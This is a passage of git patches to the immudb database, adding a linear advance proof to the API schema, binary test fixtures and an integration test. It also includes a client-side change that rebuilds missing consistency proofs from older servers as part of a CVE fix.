value LinearProof linearProof = 7; + + // Proof of consistency between some part of older linear chain and newer Merkle Tree + LinearAdvanceProof LinearAdvanceProof = 8; } message Tx { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 4e029b2801..dfa243b85a 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -2264,6 +2264,10 @@ "linearProof": { "$ref": "#/definitions/schemaLinearProof", "title": "Linear proof starting from targetBlTxAlh to the final state value" + }, + "LinearAdvanceProof": { + "$ref": "#/definitions/schemaLinearAdvanceProof", + "title": "Proof of consistency between some part of older linear chain and newer Merkle Tree" } }, "title": "DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs" @@ -2640,6 +2644,27 @@ } } }, + "schemaLinearAdvanceProof": { + "type": "object", + "properties": { + "linearProofTerms": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "terms for the linear chain" + }, + "inclusionProofs": { + "type": "array", + "items": { + "$ref": "#/definitions/schemaInclusionProof" + }, + "title": "inclusion proofs for steps on the linear chain" + } + }, + "title": "LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain\nand the new Merkle Tree" + }, "schemaLinearProof": { "type": "object", "properties": { diff --git a/pkg/integration/verification_long_linear_proof_test.go b/pkg/integration/verification_long_linear_proof_test.go new file mode 100644 index 0000000000..4bac97b156 --- /dev/null +++ b/pkg/integration/verification_long_linear_proof_test.go @@ -0,0 +1,165 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package integration + +import ( + "context" + "path/filepath" + "sync" + "testing" + + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/client" + "github.com/codenotary/immudb/pkg/fs" + "github.com/codenotary/immudb/pkg/server" + "github.com/codenotary/immudb/pkg/server/servertest" + "github.com/stretchr/testify/require" + "google.golang.org/protobuf/types/known/emptypb" +) + +type stateServiceMock struct { + cl sync.Mutex + m sync.RWMutex + state *schema.ImmutableState + stateHistory map[uint64]*schema.ImmutableState +} + +func newServiceStateMock() *stateServiceMock { + return &stateServiceMock{ + state: &schema.ImmutableState{TxId: 0}, + stateHistory: make(map[uint64]*schema.ImmutableState), + } +} + +func (ssm *stateServiceMock) GetState(ctx context.Context, db string) (*schema.ImmutableState, error) { + ssm.m.RLock() + defer ssm.m.RUnlock() + + return ssm.state, nil +} + +func (ssm *stateServiceMock) SetState(db string, state *schema.ImmutableState) error { + ssm.m.Lock() + defer ssm.m.Unlock() + + ssm.state = state + ssm.stateHistory[state.TxId] = state + return nil +} + +func (ssm *stateServiceMock) CacheLock() error { + ssm.cl.Lock() + return nil +} + +func (ssm *stateServiceMock) CacheUnlock() error { + ssm.cl.Unlock() + return nil +} + +func TestLongLinearProofVerification(t *testing.T) { + // Start the server with transaction data containing long linear proof + dir := t.TempDir() + copier := fs.NewStandardCopier() + require.NoError(t, copier.CopyDir("../../test/data_long_linear_proof", filepath.Join(dir, "defaultdb"))) + + options := server.DefaultOptions().WithDir(dir) + bs := servertest.NewBufconnServer(options) + + err := bs.Start() + require.NoError(t, err) + defer bs.Stop() + + cl, err := bs.NewAuthenticatedClient(client.DefaultOptions().WithDir(t.TempDir())) + require.NoError(t, err) + defer cl.CloseSession(context.Background()) + + // Inject our custom state service to have insight into the state values + ssm := newServiceStateMock() + cl.WithStateService(ssm) + + const txCount = 30 + + t.Run("verify server data", func(t *testing.T) { + sc := cl.GetServiceClient() + + st, err := sc.CurrentState(context.Background(), &emptypb.Empty{}) + require.NoError(t, err) + require.EqualValues(t, txCount, st.TxId) + + t.Run("transactions 1-10 do not use linear proof longer than 1", func(t *testing.T) { + for txID := uint64(1); txID <= 10; txID++ { + tx, err := sc.TxById(context.Background(), &schema.TxRequest{ + Tx: txID, + EntriesSpec: &schema.EntriesSpec{ + KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, + }, + }) + require.NoError(t, err) + require.Equal(t, txID-1, tx.Header.BlTxId) + } + }) + + t.Run("transactions 11-20 use long linear proof", func(t *testing.T) { + for txID := uint64(11); txID <= 20; txID++ { + tx, err := sc.TxById(context.Background(), &schema.TxRequest{ + Tx: txID, + EntriesSpec: &schema.EntriesSpec{ + KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, + }, + }) + require.NoError(t, err) + require.EqualValues(t, 10, tx.Header.BlTxId) + } + }) + + t.Run("transactions 21-30 do not use linear proof longer than 1", func(t *testing.T) { + for txID := uint64(21); txID <= txCount; txID++ { + tx, err := sc.TxById(context.Background(), &schema.TxRequest{ + Tx: txID, + EntriesSpec: &schema.EntriesSpec{ + KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, + }, + }) + require.NoError(t, err) + require.Equal(t, txID-1, tx.Header.BlTxId) + } + }) + }) + + t.Run("get all transaction states", func(t *testing.T) { + for txID := uint64(1); txID <= txCount; txID++ { + _, err = cl.VerifiedTxByID(context.Background(), txID) + require.NoError(t, err) + require.Contains(t, ssm.stateHistory, txID) + } + require.Len(t, ssm.stateHistory, txCount) + }) + + t.Run("Exhaustive consistency proof", func(t *testing.T) { + for i := uint64(1); i <= txCount; i++ { + for j := i; j <= txCount; j++ { + ssm.state = ssm.stateHistory[i] + + _, err = cl.VerifiedTxByID(context.Background(), j) + require.NoError(t, err) + require.EqualValues(t, j, ssm.state.TxId) + } + } + }) + +} diff --git a/test/data_long_linear_proof/aht/commit/00000000.di b/test/data_long_linear_proof/aht/commit/00000000.di new file mode 100755 index 0000000000000000000000000000000000000000..d30f2b89965f7543f12d3d87940ae8b7294fc1e9 GIT binary patch literal 551 zcmZwBy$-=p6bJCzj|3ZHFi3Rp7zQ_b8ckYl+NQ)(gTdf23aYAY8N5dkZoC0o^IjRg!b(F|BCbtMFldjAp z_r@G`fyt?Oen3U)PlzY)gKCBA-@!Kb)v~&{lvAQ!W#W5v{E!zVq0C?h^HPr*y@7JLHVwC#rS E3s=M~!2kdN literal 0 HcmV?d00001 diff --git a/test/data_long_linear_proof/aht/data/00000000.dat b/test/data_long_linear_proof/aht/data/00000000.dat new file mode 100755 index 0000000000000000000000000000000000000000..e26465bbd93386ca4b2a5b7f96c6319a9eadff23 GIT binary patch literal 1271 zcmZQzVA##Tz`z2;%s?y<9^@Dh;OY|Z>l)(d;uzux6pMh$GXZH%H%}ke_+ZZ{S0IN2 zh`~C66gG|WP-#XW%^v0&6zu8m2V{b^0cnu1kh8yUK#*%NNGjgVKgicH1W5&u$smZV z!pAkt)dxud$Owh>z>?ly%&DHc4a(+4M4Uf6seIQYzVOycjeu)4k_R(4g4Eo)e6Y7| zwwlRQSJ@K>Ur&4NWm)e~bU-I})uMgzbLuj>L26b`El+yx%xL+-K(6b6(YzhsI2)PH zKGRU-_>6uJRAF*k`8_kU5!uV@o4W=KgCgitApQK4r7>s@?;w^J5>mizVEic9i!3 zNX@~Svh~5X^IDf(-uvphF00**uNMoxAMv)oJYieu#m%pNgVZ>Feb30;cl-1fLqUFp zyGe^?i6$$|6=X2*4$0e_v90bINKI6u=hAi8m7X3HoH=X8oV=x5U*@D;4?9^Iz|hpU ziN{MFq$axX_W}RXY(~bb8k5(EvzIvqL>QlrTfkhpAj^rEHj zSLPRHterK@ZDM*w^-In0Ut)Fkk4&e5)GWVrPNQMliqx`&Ij8=8%bMc1ML~jhMo-t~ zhh3BS&KbTur$ zCoA~+&#T5#GCu6@8J#WXKYdnVev)~ z1)sm2SNd{Mj=gr%=6xIXyWd#Mb?w6Ks2`Ine+q!qn6IcYIrNqL0(Vi6-`sP}vOBJx zIn=!{rhDH)d%mYyQ`Uggbl#jkA)2AhZF}jV1;10`!xj~8KX<^)S*YXXvm^5+Mx6qw zDNSRxn&DJv>uFZiR_E5xWbU`y%TdNvF8UVR)lxI>Z6GxdUcbB4Z+tsw@3JQ@bEET^ z(ExuPgxThkZsmPre8rh2|_I^$p3E|t=e?bH@O z<=gD5AT?{}GESWT*T^yS8_&fT^X+0nR)s8JxNm7< zdF?t*U;QVN(%A+ZI=P;Qe6Zhr$apfSC{hSCI4Chee@*XXZuJ9dCKHw#m>zNx{JiX! wH+xdfi{hJHAT|90{3dgM#jLe|c=*6=iFkGOjxg8GAAe*6?>2vz+MTf*05&NF`2YX_ literal 0 HcmV?d00001 diff --git a/test/data_long_linear_proof/aht/tree/00000000.sha b/test/data_long_linear_proof/aht/tree/00000000.sha new file mode 100755 index 0000000000000000000000000000000000000000..7b560b02a983a57e72e08fbfd418fc3aa31fc9ef GIT binary patch literal 3423 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

ApgnxLe%nc zF$D;lv*FMN^w?h`6@3MGZ-aoDX|nZr`Q|S(J6PrV5zLN5#ywGW!TeFt!}2fu*g$dn z@vD1e>(lF}WfJKg?UiXYT3I#p>r~zWki7a2oxy7-%K!XUl%t4;zC9akA4CVIhgder z^cM2)|Kn>2pS)|G(Mx7P)9zjVJT_5Kh@@xj9az$J!kT?LE2-t8^Ikkx$}b*=t7IfU zWn%yvoz&xY&w20*s+Q#=S5<mVGH7lL36((3p%Jr#dj;1{jLQ#%5>M#ibQaorY|z^*9|if04=! z;G}uEwvhOj)uT8Z#h&?Q(Pue!9vf_+xD?MVT_Pm8q4n=vTlYe5BqhIH!08fuyunl0 zcAM+!@V6ctkTnuSBC}gvA7ySUGSUb?RG+j};b~1prp%FqU42>uQ2x^3qO}t;-DNQI z#|mYN8R zi=7*-R~R+`O;U@uPuHG4r&N#?j&Kfu)DNxyuOF@~1R z{rvuM2(|8kkV!^%N-WF@==mcPu&zZy$hy|7dpk>z?Y zM}T2FK+48!J&Gmm2ak3A0>~>kT)I;!o;VvU>`bZ3xvSl!p?<5+?fBUGYU9;sxDR7X k(oOK1QY#lnAJylO66o=+Nq6BTwct{hw$F`axbfh>06!LqaR2}S literal 0 HcmV?d00001 diff --git a/test/data_long_linear_proof/commit/00000000.txi b/test/data_long_linear_proof/commit/00000000.txi new file mode 100755 index 0000000000000000000000000000000000000000..cb49d28d153bf6697cc95655084622fea5ed8aa8 GIT binary patch literal 662 zcmZ|LElk5e6bJC@KG@3G=n6x`DX_izQer3WLRCu>`vWg~#Ht zSi-xd&Ho^9$xDBI|NCl%2=;{#9j-Q4Jjv5SQ&}c?W@ouhrQvR$s~KZ|hN6lTC(VR_ z9nG~Y3YyxKjGRg%x%a~5j%aa(vqX_ClQZI%)k2r>_-o-U_g&oO8l`e!&B9VSI^y2QEFPQ>!TZ6%AcfNp(U$!-(hof1O@M+WiJ>Cfw&W*BCGIm4RiGY%D@yb z0@(uLL5=|dt}gMut|5*tjv#WfJi zK+-V4Wy-+7Wh$#zrl=n@?N4vi`hCj2?vKT6rE7y(rPL>BM<_depKu7K8bUKgXs-5` ix>d~IbBK3F;DMAm8!no;KMh=weSC{=;^E1fA@c#Adqe5~ literal 0 HcmV?d00001 diff --git a/test/data_long_linear_proof/index/history/00000000.hx b/test/data_long_linear_proof/index/history/00000000.hx new file mode 100755 index 0000000000000000000000000000000000000000..b7c77b777634a6522bcb51aa248f16a35a501a3f GIT binary patch literal 878 zcmZwBSq_3Q5C-5PD!3!=>qUHOWK4)41Q3@OZsD~&qRtRZ)cj2*ZNKS1sZxfkl&W)? zT+SuYaZFwjQl>qfX|`w8ukqeG_yHBEey&}`Attkr^x%yINVcRX&&kJ^PB2F?mi0Rgi@JV9HJ!D87DrYB|ZFp5l~LS z*8_vkQnHL!wd7oiQZ-;EusW~?uqH4Im<_B2tPQLKtP89MtPgAe%mFq8<^mf58v~mF Xn*y5wn*&<_TLN1FTLaqw+kWf~6?qtU literal 0 HcmV?d00001 diff --git a/test/data_long_linear_proof/index/nodes/00000000.n b/test/data_long_linear_proof/index/nodes/00000000.n new file mode 100755 index 0000000000000000000000000000000000000000..23a61b64d72c3ef1d7873627c2fda27405a00e3b GIT binary patch literal 2891 zcmb7_dq`7J7{Kqd) z2#Tb#qNrH(LZj?KFX%~8Ebx!A@`c2D5|Pw7?z`X@=bv-n>^r;XoZtQKclX;71Tjhw zgaM=nlOC0AGMX*2)v7n;*>xt1QL>S%A*3rUvi}N$oG%;5jIux^Jsm&%rgL!*PkDwM3ask;RJJIW#QxY6gjJn)y=dIF zJFPtVVf)s-k+$K1K=SRE?KFgq2sv=aR_65i zR~#~xrA!%fJ^f(S&lsyQYhdG+l8+U!U4Wp07L2xufq=282sdEHfak+D{ zLPxJ@n%6zDInrHLWKmT{MQ>Ez0VTov6|z{^G=z=&682T|=ByO#XnXbGQg@=gbn4WT zk6TaVyn3#g6@5eZ1`sq1gs~YSD#CPxP3rmVDY&>gL+z-GuQE%U9Ikxns4=wn_xx`Y zGCk9s>42bN5R8i;B5XRsPO5mjY~TLI>XyQpV_t^@Z|L%r`o{WN_cUA*dndVn>N){I zg9^smAR=rA!lvB4`{BhdtF@wibGhethU;`|Udi#~0`&#SciC@vxnLn6Xi(~0%fik; z*cpZH8Zr5oYLWYivuJ+Xf>k?~TyU>ioAC5mcX8d1_l5njYQP<1VP_)jT)nfmGH1~j zZ)eh{>}=T;?4P~Lh22w+FDvc;A;IV|h@{}lvr3JZ%Z zE8(y#60)7g!eYxxIV__`Bxxc&3~58P#g^^juxuF6iUSd2v1OGUmcgkY?!?$shGn%J zmW_aHJuED?te(TNXuzIiVX@kOB J34qlq*ndS5l>Gnz literal 0 HcmV?d00001 diff --git a/test/data_long_linear_proof/tx/00000000.tx b/test/data_long_linear_proof/tx/00000000.tx new file mode 100755 index 0000000000000000000000000000000000000000..2ad4dcc327f9b0faa063e6ac7f0c520dbded6c1b GIT binary patch literal 5912 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 literal 0 HcmV?d00001 diff --git a/test/data_long_linear_proof/val_0/00000000.val b/test/data_long_linear_proof/val_0/00000000.val new file mode 100755 index 0000000000000000000000000000000000000000..386fba2ff91495b46b482986a834167e8d3706bb GIT binary patch literal 512 zcmd6j$qK?S5QbA1R79yhh9~#!7VH#?Nn6rbtC!%xn^%1dU(45W(y_RpcL#pHWd2z~ z7;}1zu?nh;>aHRgD@c+c3XLBr$u(x{s3JPA6#`Na=oAGGp53kDaSWc3pt;92$J`BN zSCmi464yW^R*(VGLL&AtKCQJxZ!i+E{EC~NG Date: Mon, 31 Oct 2022 11:03:53 +0100 Subject: [PATCH 0027/1062] fix(verification): Recreate linear advance proofs for older servers MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit In case of older servers that do not generate linear advance proofs, those proofs are manually filled in by the client by additional calls to the server. The number of additional calls to the sever is proportional to the length of the linear chain to prove. This should be small in real-world scenarios and could only happen in immudb servers before 1.3.2 version in a concurrent write scenarios. In case of such scenarios though, verified operations may be much slower compared to previous immudb versions. This change is part of CVE-2022-36111 fix. Signed-off-by: Bartłomiej Święcki --- pkg/api/schema/linear_inclusion_enhancer.go | 98 +++++++++++++++++++ pkg/client/auditor/auditor.go | 14 ++- pkg/client/client.go | 74 ++++++++++---- pkg/client/sql.go | 7 +- pkg/client/streams.go | 18 ++-- .../verification_long_linear_proof_test.go | 59 +++++++++-- 6 files changed, 232 insertions(+), 38 deletions(-) create mode 100644 pkg/api/schema/linear_inclusion_enhancer.go diff --git a/pkg/api/schema/linear_inclusion_enhancer.go b/pkg/api/schema/linear_inclusion_enhancer.go new file mode 100644 index 0000000000..b60c368fe0 --- /dev/null +++ b/pkg/api/schema/linear_inclusion_enhancer.go @@ -0,0 +1,98 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package schema + +import ( + "context" + "crypto/sha256" + + "github.com/codenotary/immudb/embedded/store" +) + +func minUint64(a, b uint64) uint64 { + if a < b { + return a + } + return b +} + +func FillMissingLinearAdvanceProof( + ctx context.Context, + proof *store.DualProof, + sourceTxID uint64, + targetTxID uint64, + imc ImmuServiceClient, +) error { + if proof.LinearAdvanceProof != nil { + // The proof is already present, no need to fill it in + return nil + } + + // Early preconditions that indicate a broken proof anyway + if proof == nil || + proof.SourceTxHeader == nil || + proof.TargetTxHeader == nil || + proof.SourceTxHeader.ID != sourceTxID || + proof.TargetTxHeader.ID != targetTxID { + return nil + } + + // Find the range startTxID / endTxID to fill with linear inclusion proof + startTxID := proof.SourceTxHeader.BlTxID + endTxID := minUint64(sourceTxID, proof.TargetTxHeader.BlTxID) + + if endTxID <= startTxID+1 { + // Linear Advance Proof is not needed + return nil + } + + lAdvProof := &store.LinearAdvanceProof{ + InclusionProofs: make([][][sha256.Size]byte, endTxID-startTxID-1), + } + + // Fill in inclusion proofs for subsequent transactions + for txID := startTxID + 1; txID < endTxID; txID++ { + partialProof, err := imc.VerifiableTxById(ctx, &VerifiableTxRequest{ + Tx: targetTxID, + ProveSinceTx: txID, + // Add entries spec to exclude any entries + EntriesSpec: &EntriesSpec{KvEntriesSpec: &EntryTypeSpec{Action: EntryTypeAction_EXCLUDE}}, + }) + if err != nil { + return err + } + lAdvProof.InclusionProofs[txID-startTxID-1] = DigestsFromProto(partialProof.DualProof.InclusionProof) + } + + // Get the linear proof for the whole chain + partialProof, err := imc.VerifiableTxById(ctx, &VerifiableTxRequest{ + Tx: endTxID, + ProveSinceTx: startTxID + 1, + // Add entries spec to exclude any entries + EntriesSpec: &EntriesSpec{KvEntriesSpec: &EntryTypeSpec{Action: EntryTypeAction_EXCLUDE}}, + }) + if err != nil { + // Note: We don't check whether the proof returned from the server is correct here. + // If there's any inconsistency, the proof validation will fail detecting incorrect + // response from the server. + return err + } + lAdvProof.LinearProofTerms = DigestsFromProto(partialProof.DualProof.LinearProof.Terms) + + proof.LinearAdvanceProof = lAdvProof + return nil +} diff --git a/pkg/client/auditor/auditor.go b/pkg/client/auditor/auditor.go index 4942834139..2bb7731676 100644 --- a/pkg/client/auditor/auditor.go +++ b/pkg/client/auditor/auditor.go @@ -308,8 +308,20 @@ func (a *defaultAuditor) audit() error { return noErr } + dualProof := schema.DualProofFromProto(vtx.DualProof) + err = schema.FillMissingLinearAdvanceProof( + ctx, dualProof, prevState.TxId, state.TxId, a.serviceClient, + ) + if err != nil { + a.logger.Errorf( + "error fetching consistency proof for previous state %d: %v", + prevState.TxId, err) + withError = true + return noErr + } + verified = store.VerifyDualProof( - schema.DualProofFromProto(vtx.DualProof), + dualProof, prevState.TxId, state.TxId, schema.DigestFromProto(prevState.TxHash), diff --git a/pkg/client/client.go b/pkg/client/client.go index 7f67374b00..48885b8e46 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -1051,6 +1051,35 @@ func (c *immuClient) VerifiedGetAtRevision(ctx context.Context, key []byte, rev return c.VerifiedGet(ctx, key, AtRevision(rev)) } +func (c *immuClient) verifyDualProof( + ctx context.Context, + dualProof *store.DualProof, + sourceID uint64, + targetID uint64, + sourceAlh [sha256.Size]byte, + targetAlh [sha256.Size]byte, +) error { + err := schema.FillMissingLinearAdvanceProof( + ctx, dualProof, sourceID, targetID, c.ServiceClient, + ) + if err != nil { + return err + } + + verifies := store.VerifyDualProof( + dualProof, + sourceID, + targetID, + sourceAlh, + targetAlh, + ) + if !verifies { + return store.ErrCorruptedData + } + + return nil +} + func (c *immuClient) verifiedGet(ctx context.Context, kReq *schema.KeyRequest) (vi *schema.Entry, err error) { err = c.StateService.CacheLock() if err != nil { @@ -1134,15 +1163,16 @@ func (c *immuClient) verifiedGet(ctx context.Context, kReq *schema.KeyRequest) ( } if state.TxId > 0 { - verifies = store.VerifyDualProof( + err := c.verifyDualProof( + ctx, dualProof, sourceID, targetID, sourceAlh, targetAlh, ) - if !verifies { - return nil, store.ErrCorruptedData + if err != nil { + return nil, err } } @@ -1313,16 +1343,17 @@ func (c *immuClient) VerifiedSet(ctx context.Context, key []byte, value []byte) targetAlh = tx.Header().Alh() if state.TxId > 0 { - verifies = store.VerifyDualProof( - schema.DualProofFromProto(verifiableTx.DualProof), + dualProof := schema.DualProofFromProto(verifiableTx.DualProof) + err := c.verifyDualProof( + ctx, + dualProof, sourceID, targetID, sourceAlh, targetAlh, ) - - if !verifies { - return nil, store.ErrCorruptedData + if err != nil { + return nil, err } } @@ -1509,15 +1540,16 @@ func (c 